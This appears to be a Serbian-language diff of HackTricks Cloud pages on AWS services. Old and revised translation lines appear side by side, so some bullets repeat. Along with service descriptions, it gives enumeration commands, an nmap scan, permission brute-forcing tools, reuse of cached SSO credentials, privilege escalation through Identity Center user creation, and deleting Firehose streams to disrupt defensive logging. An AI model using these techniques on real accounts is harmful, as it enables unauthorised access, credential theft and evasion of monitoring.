- **Opseg klijentskog CIDR-a ne može se promeniti** nakon što kreirate Client VPN endpoint.
- **Podmreže** povezane sa Client VPN endpoint-om **moraju biti u istom VPC-u**.
- **Ne možete povezati više podmreža iz iste dostupne zone sa Client VPN endpoint-om**.
- Client VPN endpoint **ne podržava povezivanje podmreža u VPC-u sa posvećenim zakazivanjem**.
- Client VPN podržava **IPv4** saobraćaj samo.
- Client VPN **nije** usklađen sa Federal Information Processing Standards (**FIPS**).
- **Klijent CIDR opsezi ne mogu se preklapati sa lokalnim CIDR** VPC-a u kojem se povezana podmreža nalazi, ili bilo kojim rutama koje su ručno dodate u tabelu ruta Klijent VPN krajnje tačke.
- Klijent CIDR opsezi moraju imati veličinu bloka od **najmanje /22** i ne smeju **biti veći od /12.**
- **Deo adresa** u klijent CIDR opsegu se koristi za **podršku modelu dostupnosti** Klijent VPN krajnje tačke i ne može se dodeliti klijentima. Stoga, preporučujemo da **dodelite CIDR blok koji sadrži dvostruko više IP adresa koje su potrebne** da omogućite maksimalan broj istovremenih konekcija koje planirate da podržite na Klijent VPN krajnjoj tački.
- **Klijent CIDR opseg ne može se promeniti** nakon što kreirate Klijent VPN krajnju tačku.
- **Podmreže** povezane sa Klijent VPN krajnjom tačkom **moraju biti u istom VPC-u**.
- **Ne možete povezati više podmreža iz iste dostupne zone sa Klijent VPN krajnjom tačkom**.
- Klijent VPN krajnja tačka **ne podržava povezivanje podmreža u VPC-u sa posvećenim zaklonom**.
- Klijent VPN podržava **IPv4** saobraćaj samo.
- Klijent VPN **nije** usklađen sa Federal Information Processing Standards (**FIPS**).
- Ako je višefaktorska autentifikacija (MFA) onemogućena za vaš Active Directory, lozinka korisnika ne može biti u sledećem formatu.
```
SCRV1:<base64_encoded_string>:<base64_encoded_string>
```
- Portal za samoposlugu **nije dostupan za klijente koji se autentifikuju koristeći međusobnu autentifikaciju**.
- Portal za samoposluživanje **nije dostupan za klijente koji se autentifikuju koristeći međusobnu autentifikaciju**.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -21,9 +21,9 @@ Svaki AWS nalog ima 2 registra: **Privatni** i **Javni**.
- **Privatno po defaultu**: Slike kontejnera smeštene u Amazon ECR privatnom registru su **samo dostupne ovlašćenim korisnicima** unutar vašeg AWS naloga ili onima kojima je data dozvola.
- URI **privatnog repozitorijuma** prati format `<account_id>.dkr.ecr.<region>.amazonaws.com/<repo-name>`
- **Kontrola pristupa**: Možete **kontrolisati pristup** svojim privatnim slikama kontejnera koristeći **IAM politike**, i možete konfigurisati precizne dozvole na osnovu korisnika ili uloga.
- **Integracija sa AWS uslugama**: Amazon ECR privatni registri se mogu lako **integrisati sa drugim AWS uslugama**, kao što su EKS, ECS...
- **Integracija sa AWS uslugama**: Amazon ECR privatni registri se lako mogu **integrisati sa drugim AWS uslugama**, kao što su EKS, ECS...
- **Druge opcije privatnog registra**:
- Kolona imutabilnosti oznaka prikazuje njen status, ako je imutabilnost oznaka omogućena, ona će **sprečiti** slanje **slika** sa **već postojećim oznakama** da prepisuju slike.
- Kolona imutabilnosti oznaka prikazuje njen status, ako je imutabilnost oznaka omogućena, ona će **sprečiti** slanje slika sa **već postojećim oznakama** da prepisuju slike.
- Kolona **Tip enkripcije** prikazuje svojstva enkripcije repozitorijuma, prikazuje podrazumevane tipove enkripcije kao što su AES-256, ili ima **KMS** omogućene enkripcije.
- Kolona **Pull through cache** prikazuje njen status, ako je status Pull through cache Aktivan, on će keširati **repozitorijume u spoljnjem javnom repozitorijumu u vaš privatni repozitorijum**.
- Specifične **IAM politike** mogu biti konfigurisane da dodele različite **dozvole**.
@@ -32,7 +32,7 @@ Svaki AWS nalog ima 2 registra: **Privatni** i **Javni**.
2. **Javni registri**:
- **Javna dostupnost**: Slike kontejnera smeštene u ECR javnom registru su **dostupne svima na internetu bez autentifikacije.**
- URI **javnog repozitorijuma** je kao `public.ecr.aws/<random>/<name>`. Iako deo `<random>` može biti promenjen od strane administratora u drugu string koji je lakši za pamćenje.
- URI **javnog repozitorijuma** je poput `public.ecr.aws/<random>/<name>`. Iako deo `<random>` može biti promenjen od strane administratora u drugu lakšu za pamćenje.
**Repozitorijumi**
@@ -43,7 +43,7 @@ Ovo su **slike** koje se nalaze u **privatnom registru** ili u **javnom**.
#### Politike registra i repozitorijuma
**Registri i repozitorijumi** takođe imaju **politike koje se mogu koristiti za dodeljivanje dozvola drugim principima/nalozima**. Na primer, u sledećoj slici politike repozitorijuma možete videti kako bilo koji korisnik iz cele organizacije može pristupiti slici:
**Registri i repozitorijumi** takođe imaju **politike koje se mogu koristiti za dodeljivanje dozvola drugim principima/nalozima**. Na primer, u sledećoj politici repozitorijuma možete videti kako bilo koji korisnik iz cele organizacije može pristupiti slici:
<figure><img src="../../../images/image (280).png" alt=""><figcaption></figcaption></figure>
@@ -87,7 +87,7 @@ Na sledećoj stranici možete proveriti kako da **zloupotrebite ECR dozvole za e
../aws-post-exploitation/aws-ecr-post-exploitation.md
{{#endref}}
#### Perzistencija
#### Persistencija
{{#ref}}
../aws-persistence/aws-ecr-persistence.md
@@ -8,24 +8,24 @@
Amazon **Elastic Container Services** ili ECS pruža platformu za **hostovanje kontejnerizovanih aplikacija u oblaku**. ECS ima dva **metoda implementacije**, tip instance **EC2** i **serverless** opciju, **Fargate**. Usluga **omogućava lako i bezbolno pokretanje kontejnera u oblaku**.
ECS funkcioniše koristeći sledeće tri gradivne jedinice: **Klasteri**, **Usluge** i **Definicije zadataka**.
ECS funkcioniše koristeći sledeće tri gradivne blokove: **Klasteri**, **Usluge** i **Definicije zadataka**.
- **Klasteri** su **grupe kontejnera** koji se pokreću u oblaku. Kao što je ranije pomenuto, postoje dva tipa pokretanja za kontejnere, EC2 i Fargate. AWS definiše tip pokretanja **EC2** kao omogućavanje kupcima “da pokreću \[svoje] kontejnerizovane aplikacije na klasteru Amazon EC2 instanci koje \[oni] **upravljaju**”. **Fargate** je sličan i definisan je kao “\[omogućava] vam da pokrećete svoje kontejnerizovane aplikacije **bez potrebe za obezbeđivanjem i upravljanjem** pozadinskom infrastrukturom”.
- **Klasteri** su **grupe kontejnera** koji se pokreću u oblaku. Kao što je ranije pomenuto, postoje dva tipa pokretanja za kontejnere, EC2 i Fargate. AWS definiše **EC2** tip pokretanja kao omogućavanje kupcima “da pokreću \[svoje] kontejnerizovane aplikacije na klasteru Amazon EC2 instanci koje \[oni] **upravljaju**”. **Fargate** je sličan i definisan je kao “\[omogućava] vam da pokrećete svoje kontejnerizovane aplikacije **bez potrebe za obezbeđivanjem i upravljanjem** pozadinskom infrastrukturom”.
- **Usluge** se kreiraju unutar klastera i odgovorne su za **pokretanje zadataka**. Unutar definicije usluge **definišete broj zadataka koji će se pokrenuti, automatsko skaliranje, provajder kapaciteta (Fargate/EC2/Spoljašnji),** **informacije o umrežavanju** kao što su VPC, podmreže i sigurnosne grupe.
- Postoje **2 tipa aplikacija**:
- **Usluga**: Grupa zadataka koja se bavi dugotrajnim računski zahtevnim radom koji se može zaustaviti i ponovo pokrenuti. Na primer, web aplikacija.
- **Usluga**: Grupa zadataka koja se bavi dugotrajnim računski radom koji se može zaustaviti i ponovo pokrenuti. Na primer, web aplikacija.
- **Zadatak**: Samostalni zadatak koji se pokreće i završava. Na primer, batch posao.
- Među aplikacijama usluga, postoje **2 tipa raspoređivača usluga**:
- [**REPLICA**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Strategija raspoređivanja replika postavlja i **održava željeni broj** zadataka širom vašeg klastera. Ako iz nekog razloga zadatak prestane sa radom, novi se pokreće na istom ili drugom čvoru.
- [**DAEMON**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Raspoređuje tačno jedan zadatak na svakoj aktivnoj instanci kontejnera koja ima potrebne zahteve. Nema potrebe da se specificira željeni broj zadataka, strategija postavljanja zadataka ili korišćenje politika automatskog skaliranja usluga.
- **Definicije zadataka** su odgovorne za **definisanje koji će kontejneri raditi** i razne parametre koji će biti konfigurisani sa kontejnerima kao što su **mapiranja portova** sa hostom, **env varijable**, Docker **entrypoint**...
- Među aplikacijama usluga, postoje **2 tipa planera usluga**:
- [**REPLICA**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Strategija planiranja replika postavlja i **održava željeni broj** zadataka širom vašeg klastera. Ako iz nekog razloga zadatak prestane sa radom, novi se pokreće na istom ili drugom čvoru.
- [**DAEMON**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Postavlja tačno jedan zadatak na svakoj aktivnoj instanci kontejnera koja ima potrebne zahteve. Nema potrebe da se specificira željeni broj zadataka, strategija postavljanja zadataka ili korišćenje politika automatskog skaliranja usluga.
- **Definicije zadataka** su odgovorne za **definisanje koji će se kontejneri pokretati** i razne parametre koji će biti konfigurisani sa kontejnerima kao što su **mapiranja portova** sa hostom, **env varijable**, Docker **entrypoint**...
- Proverite **env varijable za osetljive informacije**!
### Osetljivi podaci u definicijama zadataka
Definicije zadataka su odgovorne za **konfigurisanje stvarnih kontejnera koji će se pokretati u ECS**. Pošto definicije zadataka definišu kako će kontejneri raditi, unutar njih se može naći obilje informacija.
Definicije zadataka su odgovorne za **konfigurisanje stvarnih kontejnera koji će se pokretati u ECS**. Pošto definicije zadataka definišu kako će se kontejneri pokretati, mnoštvo informacija može se naći unutar njih.
Pacu može enumerisati ECS (list-clusters, list-container-instances, list-services, list-task-definitions), takođe može izbaciti definicije zadataka.
Pacu može enumerisati ECS (list-clusters, list-container-instances, list-services, list-task-definitions), takođe može izvući definicije zadataka.
### Enumeracija
```bash
@@ -57,9 +57,9 @@ aws ecs describe-task-definition --task-definition <TASK_NAME>:<VERSION>
../aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md
{{#endref}}
### Eskalacija Privilegija
### Povećanje Privilegija
Na sledećoj stranici možete proveriti kako da **zloupotrebite ECS dozvole za eskalaciju privilegija**:
Na sledećoj stranici možete proveriti kako da **zloupotrebite ECS dozvole za povećanje privilegija**:
{{#ref}}
../aws-privilege-escalation/aws-ecs-privesc.md
@@ -6,7 +6,7 @@
### Osnovne informacije
Amazon Elastic File System (EFS) se predstavlja kao **potpuno upravljani, skalabilni i elastični mrežni fajl sistem** od strane AWS-a. Usluga olakšava kreiranje i konfiguraciju **fajl sistema** koji mogu istovremeno da budu dostupni više EC2 instancama i drugim AWS uslugama. Ključne karakteristike EFS-a uključuju njegovu sposobnost da se automatski skalira bez manuelne intervencije, obezbedi pristup sa niskom latencijom, podrži visoko-protokne radne opterećenja, garantuje trajnost podataka i besprekorno se integriše sa raznim AWS bezbednosnim mehanizmima.
Amazon Elastic File System (EFS) se predstavlja kao **potpuno upravljani, skalabilni i elastični mrežni fajl sistem** od strane AWS-a. Usluga olakšava kreiranje i konfiguraciju **fajl sistema** koji mogu istovremeno da koriste više EC2 instanci i drugih AWS usluga. Ključne karakteristike EFS-a uključuju njegovu sposobnost da se automatski skalira bez manuelne intervencije, obezbedi pristup sa niskom latencijom, podrži radne opterećenja sa visokim protokom, garantuje trajnost podataka i besprekorno se integriše sa raznim AWS bezbednosnim mehanizmima.
Po **default-u**, EFS folder koji će se montirati biće **`/`** ali može imati **drugo ime**.
@@ -16,7 +16,7 @@ EFS se kreira u VPC-u i biće **po default-u dostupan u svim VPC podmrežama**.
Bez ovoga, **nećete moći da kontaktirate NFS uslugu**.
Za više informacija o tome kako to uraditi, pogledajte: [https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount](https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount)
Za više informacija o tome kako to uraditi, proverite: [https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount](https://stackoverflow.com/questions/38632222/aws-efs-connection-timeout-at-mount)
### Enumeracija
```bash
@@ -39,9 +39,9 @@ aws efs describe-replication-configurations
sudo nmap -T4 -Pn -p 2049 --open 10.10.10.0/20 # or /16 to be sure
```
> [!CAUTION]
> Može se desiti da je EFS tačka montiranja unutar iste VPC, ali u različitom podmreži. Ako želite da budete sigurni da ste pronašli sve **EFS tačke, bilo bi bolje skenirati `/16` netmasku**.
> Moguće je da je EFS tačka montiranja unutar iste VPC, ali u različitom podmreži. Ako želite da budete sigurni da ste pronašli sve **EFS tačke, bilo bi bolje skenirati `/16` netmask**.
### Montiranje EFS
### Montiraj EFS
```bash
sudo mkdir /efs
@@ -57,7 +57,7 @@ sudo mount -t efs <file-system-id/EFS DNS name>:/ /efs/
```
### IAM Access
Po **default-u**, svako ko ima **mrežni pristup EFS-u** moći će da montira, **čita i piše čak i kao root korisnik**. Međutim, politike datotečnog sistema mogu biti postavljene **samo za omogućavanje pristupa principima sa specifičnim dozvolama**.\
Po **podrazumevanoj** postavci, svako ko ima **mrežni pristup EFS-u** moći će da montira, **čita i piše čak i kao root korisnik**. Međutim, politike datotečnog sistema mogu biti postavljene **samo za omogućavanje pristupa principima sa specifičnim dozvolama**.\
Na primer, ova politika datotečnog sistema **neće dozvoliti čak ni montiranje** datotečnog sistema ako **nemate IAM dozvolu**:
```json
{
@@ -85,7 +85,7 @@ Ili će ovo **sprečiti anonimni pristup**:
<figure><img src="../../../images/image (278).png" alt=""><figcaption></figcaption></figure>
Imajte na umu da da biste montirali datotečne sisteme zaštićene IAM-om, MORATE koristiti tip "efs" u komandi za montiranje:
Napomena: da biste montirali datotečne sisteme zaštićene IAM-om, MORATE koristiti tip "efs" u komandi za montiranje:
```bash
sudo mkdir /efs
sudo mount -t efs -o tls,iam <file-system-id/EFS DNS name>:/ /efs/
@@ -96,7 +96,7 @@ sudo mount -t efs -o tls,iam <file-system-id/EFS DNS name>:/ /efs/
**Access points** su **specifični ulazni** tačke **u EFS datotečnom sistemu** koje olakšavaju upravljanje pristupom aplikacija deljenim skupovima podataka.
Kada kreirate access point, možete **odrediti vlasnika i POSIX dozvole** za datoteke i direktorijume kreirane putem access point-a. Takođe možete **definisati prilagođeni korenski direktorijum** za access point, bilo tako što ćete odrediti postojeći direktorijum ili kreirati novi sa željenim dozvolama. Ovo vam omogućava da **kontrolišete pristup vašem EFS datotečnom sistemu po aplikaciji ili po korisniku**, što olakšava upravljanje i obezbeđivanje vaših deljenih datoteka.
Kada kreirate access point, možete **odrediti vlasnika i POSIX dozvole** za datoteke i direktorijume kreirane putem access point-a. Takođe možete **definisati prilagođeni korenski direktorijum** za access point, bilo tako što ćete odrediti postojeći direktorijum ili kreirati novi sa željenim dozvolama. Ovo vam omogućava da **kontrolišete pristup vašem EFS datotečnom sistemu po aplikaciji ili po korisniku**, čineći upravljanje i zaštitu vaših deljenih datoteka lakšim.
**Možete montirati datotečni sistem sa access point-a koristeći nešto poput:**
```bash
@@ -110,7 +110,7 @@ sudo mount -t efs -o tls,[iam],accesspoint=<access-point-id> \
Pristupne tačke mogu se koristiti u sledeće svrhe:
- **Pojednostavljenje upravljanja dozvolama**: Definisanjem POSIX korisnika i grupe za svaku pristupnu tačku, možete lako upravljati dozvolama pristupa za različite aplikacije ili korisnike bez modifikovanja dozvola osnovnog datotečnog sistema.
- **Sprovođenje root direktorijuma**: Pristupne tačke mogu ograničiti pristup određenom direktorijumu unutar EFS datotečnog sistema, osiguravajući da svaka aplikacija ili korisnik radi unutar svog dodeljenog foldera. Ovo pomaže u sprečavanju slučajnog izlaganja ili modifikacije podataka.
- **Sprovođenje korenskog direktorijuma**: Pristupne tačke mogu ograničiti pristup određenom direktorijumu unutar EFS datotečnog sistema, osiguravajući da svaka aplikacija ili korisnik radi unutar svog dodeljenog foldera. Ovo pomaže u sprečavanju slučajnog izlaganja ili modifikacije podataka.
- **Lakši pristup datotečnom sistemu**: Pristupne tačke mogu biti povezane sa AWS Lambda funkcijom ili AWS Fargate zadatkom, pojednostavljujući pristup datotečnom sistemu za serverless i kontejnerizovane aplikacije.
## Privesc
@@ -31,13 +31,13 @@ aws eks describe-nodegroup --cluster-name <c_name> --nodegroup-name <n_name>
aws eks list-updates --name <name>
aws eks describe-update --name <name> --update-id <id>
```
#### Post Exploitation
#### Post Eksploatacija
{{#ref}}
../aws-post-exploitation/aws-eks-post-exploitation.md
{{#endref}}
## References
## Reference
- [https://aws.amazon.com/eks/](https://aws.amazon.com/eks/)
@@ -34,7 +34,7 @@ U AWS Elastic Beanstalk, koncepti "aplikacije" i "okruženja" služe različitim
- Okruženje je **provisionirana instanca vaše aplikacije** koja radi na AWS infrastrukturi. To je **gde se vaš aplikacioni kod implementira i izvršava**. Elastic Beanstalk provisionira potrebne resurse (npr. EC2 instance, load balancere, auto-scaling grupe, baze podataka) na osnovu konfiguracije okruženja.
- **Svako okruženje pokreće jednu verziju vaše aplikacije**, i možete imati više okruženja za različite svrhe, kao što su razvoj, testiranje, staging i produkcija.
- Kada kreirate okruženje, birate platformu (npr. Java, .NET, Node.js, itd.) i tip okruženja (npr. web server ili worker). Takođe možete prilagoditi konfiguraciju okruženja kako biste kontrolisali različite aspekte infrastrukture i postavki aplikacije.
- Kada kreirate okruženje, birate platformu (npr. Java, .NET, Node.js, itd.) i tip okruženja (npr. web server ili worker). Takođe možete prilagoditi konfiguraciju okruženja da kontrolišete različite aspekte infrastrukture i postavki aplikacije.
### 2 tipa Okruženja
@@ -57,7 +57,7 @@ Podrazumevano je **metadata verzija 1 onemogućena**:
### Izloženost
Podaci Beanstalk-a se čuvaju u **S3 bucket-u** sa sledećim imenom: **`elasticbeanstalk-<region>-<acc-id>`**(ako je kreiran u AWS konzoli). Unutar ovog bucket-a naći ćete **izvorni kod aplikacije**.
Podaci Beanstalk-a se čuvaju u **S3 bucket-u** sa sledećim imenom: **`elasticbeanstalk-<region>-<acc-id>`** (ako je kreiran u AWS konzoli). Unutar ovog bucket-a naći ćete **izvorni kod aplikacije**.
**URL** kreirane web stranice je **`http://<webapp-name>-env.<random>.<region>.elasticbeanstalk.com/`**
@@ -90,7 +90,7 @@ aws elasticbeanstalk describe-events
../aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md
{{#endref}}
### Perzistencija
### Persistencija
{{#ref}}
../aws-persistence/aws-elastic-beanstalk-persistence.md
@@ -4,7 +4,7 @@
## ElastiCache
AWS ElastiCache je potpuno **upravljana usluga skladištenja podataka u memoriji i keširanja** koja pruža visoke performanse, nisku latenciju i skalabilna rešenja za aplikacije. Podržava dva popularna open-source motora u memoriji: **Redis i Memcached**. ElastiCache **pojednostavljuje** **postavljanje**, **upravljanje** i **održavanje** ovih motora, omogućavajući programerima da preuzmu vremenski zahtevne zadatke kao što su obezbeđivanje, zakrčivanje, praćenje i **rezervne kopije**.
AWS ElastiCache je potpuno **upravljana usluga skladištenja podataka u memoriji i keširanja** koja pruža visokoučinkovita, niskolatentna i skalabilna rešenja za aplikacije. Podržava dva popularna open-source motora u memoriji: **Redis i Memcached**. ElastiCache **pojednostavljuje** **postavljanje**, **upravljanje** i **održavanje** ovih motora, omogućavajući programerima da preuzmu vremenski zahtevne zadatke kao što su obezbeđivanje, zakrčivanje, praćenje i **rezervne kopije**.
### Enumeration
```bash
@@ -15,10 +15,10 @@ Ključne karakteristike uključuju:
- HDFS Block transfer enkripcija, postavljena na true, koristi AES-256 algoritam.
- **Enkripcija u tranzitu**: Fokusira se na zaštitu podataka tokom prenosa. Opcije uključuju:
- **Open Source Transport Layer Security (TLS)**: Enkripcija se može omogućiti izborom provajdera sertifikata:
- **PEM**: Zahteva ručno kreiranje i pakovanje PEM sertifikata u zip fajl, referenciran iz S3 bucket-a.
- **PEM**: Zahteva ručno kreiranje i pakovanje PEM sertifikata u zip datoteku, referenciranu iz S3 bucket-a.
- **Prilagođeno**: Uključuje dodavanje prilagođene Java klase kao provajdera sertifikata koji obezbeđuje enkripcijske artefakte.
Kada se provajder TLS sertifikata integriše u konfiguraciju bezbednosti, sledeće funkcije enkripcije specifične za aplikaciju mogu biti aktivirane, u zavisnosti od verzije EMR:
Jednom kada je provajder TLS sertifikata integrisan u konfiguraciju bezbednosti, sledeće funkcije enkripcije specifične za aplikaciju mogu biti aktivirane, u zavisnosti od verzije EMR:
- **Hadoop**:
- Može smanjiti enkriptovani shuffle koristeći TLS.
@@ -51,7 +51,7 @@ aws emr list-studios #Get studio URLs
../aws-privilege-escalation/aws-emr-privesc.md
{{#endref}}
## Reference
## References
- [https://cloudacademy.com/course/domain-three-designing-secure-applications-and-architectures/elastic-mapreduce-emr-encryption-1/](https://cloudacademy.com/course/domain-three-designing-secure-applications-and-architectures/elastic-mapreduce-emr-encryption-1/)
@@ -88,9 +88,9 @@ aws iam get-account-password-policy
aws iam list-mfa-devices
aws iam list-virtual-mfa-devices
```
### Permissions Brute Force
### Dozvola Brute Force
Ako ste zainteresovani za svoje dozvole, ali nemate pristup za upit IAM, uvek možete da ih brute-force.
Ako ste zainteresovani za svoje dozvole, ali nemate pristup za upit IAM, uvek možete da ih brute-forcujete.
#### bf-aws-permissions
@@ -126,13 +126,13 @@ pip install -r requirements.txt
python3 cloudtrail2IAM.py --prefix PREFIX --bucket_name BUCKET_NAME --profile PROFILE [--filter-name FILTER_NAME] [--threads THREADS]
```
> [!WARNING]
> Ako pronađete .tfstate (Terraform state files) ili CloudFormation datoteke (to su obično yaml datoteke smeštene unutar bucket-a sa prefiksom cf-templates), možete ih takođe pročitati da pronađete aws konfiguraciju i saznate koje su dozvole dodeljene kome.
> Ako pronađete .tfstate (Terraform state files) ili CloudFormation datoteke (ove su obično yaml datoteke smeštene unutar bucket-a sa prefiksom cf-templates), možete ih takođe pročitati da biste pronašli aws konfiguraciju i saznali koje su dozvole dodeljene kome.
#### enumerate-iam
Da biste koristili alat [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam), prvo treba da preuzmete sve API AWS krajnje tačke, od kojih će skripta **`generate_bruteforce_tests.py`** dobiti sve **"list\_", "describe\_", i "get\_" krajnje tačke.** I na kraju, pokušaće da **pristupi njima** sa datim akreditivima i **naznači da li je uspelo**.
Da biste koristili alat [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam), prvo treba da preuzmete sve API AWS krajnje tačke, od kojih će skripta **`generate_bruteforce_tests.py`** dobiti sve **"list\_", "describe\_", i "get\_" krajnje tačke.** I na kraju, pokušaće da **pristupi njima** sa datim kredencijalima i **naznači da li je uspelo**.
(U mom iskustvu, **alat se u nekom trenutku zamrzne**, [**pogledajte ovo rešenje**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c) da biste pokušali da to popravite).
(U mom iskustvu, **alat se u nekom trenutku zamrzava**, [**pogledajte ovo rešenje**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c) da biste pokušali da to popravite).
> [!WARNING]
> U mom iskustvu, ovaj alat je kao prethodni, ali radi lošije i proverava manje dozvola.
@@ -208,7 +208,7 @@ steampipe dashboard
#### \<YourTool>
Ni jedan od prethodnih alata nije sposoban da proveri skoro sve dozvole, pa ako znate bolji alat pošaljite PR!
Nijedan od prethodnih alata nije sposoban da proveri skoro sve dozvole, pa ako znate bolji alat pošaljite PR!
### Neautentifikovani Pristup
@@ -230,7 +230,7 @@ Na sledećoj stranici možete proveriti kako da **zloupotrebite IAM dozvole za e
../aws-post-exploitation/aws-iam-post-exploitation.md
{{#endref}}
### IAM Perzistencija
### IAM Persistencija
{{#ref}}
../aws-persistence/aws-iam-persistence.md
@@ -255,7 +255,7 @@ sso_account_id = <account_numbre>
sso_role_name = AdministratorAccess
sso_region = us-east-1
```
### Enumeration
### Enumeracija
Glavni elementi Identity Centra su:
@@ -263,10 +263,10 @@ Glavni elementi Identity Centra su:
- Skupovi dozvola: Imaju pridružene politike
- AWS računi
Zatim se kreiraju odnosi tako da korisnici/grupe imaju skupove dozvola nad AWS računom.
Zatim, odnosi se kreiraju tako da korisnici/grupe imaju Skupove dozvola nad AWS računom.
> [!NOTE]
> Imajte na umu da postoje 3 načina za pridruživanje politika skupu dozvola. Pridruživanje AWS upravljanim politikama, politikama koje upravlja korisnik (ove politike treba da budu kreirane u svim računima na koje utiče skup dozvola), i inline politikama (definisanim tamo).
> [!NAPOMENA]
> Imajte na umu da postoje 3 načina za pridruživanje politika Skupu dozvola. Pridruživanje AWS upravljanim politikama, politikama koje upravlja korisnik (ove politike treba da budu kreirane u svim računima na koje Skup dozvola utiče) i inline politikama (definisanim tamo).
```bash
# Check if IAM Identity Center is used
aws sso-admin list-instances
@@ -300,9 +300,9 @@ aws identitystore list-group-memberships --identity-store-id <store-id> --group-
## Get memberships or a user or a group
aws identitystore list-group-memberships-for-member --identity-store-id <store-id> --member-id <member-id>
```
### Local Enumeration
### Lokalna Enumeracija
Moguće je kreirati unutar fascikle `$HOME/.aws` datoteku config za konfiguraciju profila koji su dostupni putem SSO, na primer:
Moguće je kreirati unutar foldera `$HOME/.aws` datoteku config za konfiguraciju profila koji su dostupni putem SSO, na primer:
```ini
[default]
region = us-west-2
@@ -327,9 +327,9 @@ aws sso login --profile my-sso-profile
# Use dependent-profile
aws s3 ls --profile dependent-profile
```
Kada se **profil iz SSO koristi** za pristup nekim informacijama, kredencijali se **keširaju** u datoteci unutar fascikle **`$HOME/.aws/sso/cache`**. Stoga se mogu **čitati i koristiti odatle**.
Kada se **profil iz SSO koristi** za pristup nekim informacijama, kredencijali se **keširaju** u datoteci unutar fascikle **`$HOME/.aws/sso/cache`**. Stoga se mogu **pročitati i koristiti odatle**.
Pored toga, **dodatni kredencijali** mogu biti pohranjeni u fascikli **`$HOME/.aws/cli/cache`**. Ova keš direktorija se prvenstveno koristi kada radite sa **AWS CLI profilima** koji koriste IAM korisničke kredencijale ili **pretpostavljaju** uloge putem IAM (bez SSO). Primer konfiguracije:
Pored toga, **dodatni kredencijali** mogu biti pohranjeni u fascikli **`$HOME/.aws/cli/cache`**. Ova keš direktorijum se prvenstveno koristi kada radite sa **AWS CLI profilima** koji koriste IAM korisničke kredencijale ili **pretpostavljaju** uloge putem IAM (bez SSO). Primer konfiguracije:
```ini
[profile crossaccountrole]
role_arn = arn:aws:iam::234567890123:role/SomeRole
@@ -365,8 +365,8 @@ aws identitystore create-user --identity-store-id <store-id> --user-name privesc
```
- Kreirajte grupu i dodelite joj dozvole i postavite kontrolisanog korisnika
- Dajte dodatne dozvole kontrolisanom korisniku ili grupi
- Po defaultu, samo korisnici sa dozvolama iz Upravljčkog naloga će moći da pristupaju i kontrolišu IAM Identity Center.
- Po defaultu, samo korisnici sa dozvolama iz Management Account-a će moći da pristupaju i kontrolišu IAM Identity Center.
Međutim, moguće je putem Delegiranog Administratora omogućiti korisnicima iz drugog naloga da njime upravljaju. Neće imati iste dozvole, ali će moći da obavljaju [**aktivnosti upravljanja**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html).
Međutim, moguće je putem Delegate Administrator-a omogućiti korisnicima iz druge računa da njime upravljaju. Neće imati potpuno iste dozvole, ali će moći da obavljaju [**aktivnosti upravljanja**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html).
{{#include ../../../banners/hacktricks-training.md}}
@@ -6,7 +6,7 @@
Amazon Kinesis Data Firehose je **potpuno upravljana usluga** koja olakšava isporuku **podataka u realnom vremenu**. Podržava razne destinacije, uključujući Amazon Simple Storage Service (Amazon S3), Amazon Redshift, Amazon OpenSearch Service, Splunk i prilagođene HTTP krajnje tačke.
Usluga smanjuje potrebu za pisanjem aplikacija ili upravljanjem resursima omogućavajući proizvođačima podataka da budu konfigurisani da direktno prosleđuju podatke Kinesis Data Firehose. Ova usluga je odgovorna za **automatsku isporuku podataka na određenu destinaciju**. Pored toga, Kinesis Data Firehose pruža opciju da **transformiše podatke pre njihove isporuke**, povećavajući svoju fleksibilnost i primenljivost na različite slučajeve upotrebe.
Usluga smanjuje potrebu za pisanjem aplikacija ili upravljanjem resursima omogućavajući proizvođačima podataka da budu konfigurisani da direktno prosleđuju podatke Kinesis Data Firehose. Ova usluga je odgovorna za **automatsku isporuku podataka na određenu destinaciju**. Pored toga, Kinesis Data Firehose pruža opciju da **transformiše podatke pre njihove isporuke**, poboljšavajući svoju fleksibilnost i primenljivost na različite slučajeve upotrebe.
### Enumeration
```bash
@@ -20,7 +20,7 @@ aws firehose describe-delivery-stream --delivery-stream-name <name> | grep -i Ro
```
## Post-exploitation / Defense Bypass
U slučaju da se firehose koristi za slanje logova ili uvida u odbranu, koristeći ove funkcionalnosti, napadač bi mogao sprečiti njegovo pravilno funkcionisanje.
U slučaju da se firehose koristi za slanje logova ili uvida u odbranu, korišćenjem ovih funkcionalnosti napadač bi mogao sprečiti njegovo pravilno funkcionisanje.
### firehose:DeleteDeliveryStream
```
@@ -36,7 +36,7 @@ aws firehose put-record --delivery-stream-name my-stream --record '{"Data":"SGVs
aws firehose put-record-batch --delivery-stream-name my-stream --records file://records.json
```
## References
## Reference
- [https://docs.amazonaws.cn/en_us/firehose/latest/dev/what-is-this-service.html](https://docs.amazonaws.cn/en_us/firehose/latest/dev/what-is-this-service.html)
@@ -4,22 +4,22 @@
## KMS - Usluga upravljanja ključevima
AWS Usluga upravljanja ključevima (AWS KMS) se predstavlja kao upravljana usluga, pojednostavljujući proces za korisnike da **kreiraju i upravljaju glavnim ključevima kupca** (CMK). Ovi CMK-ovi su ključni za enkripciju korisničkih podataka. Značajna karakteristika AWS KMS-a je da su CMK-ovi pretežno **zaštićeni hardverskim bezbednosnim modulima** (HSM), što poboljšava zaštitu enkripcijskih ključeva.
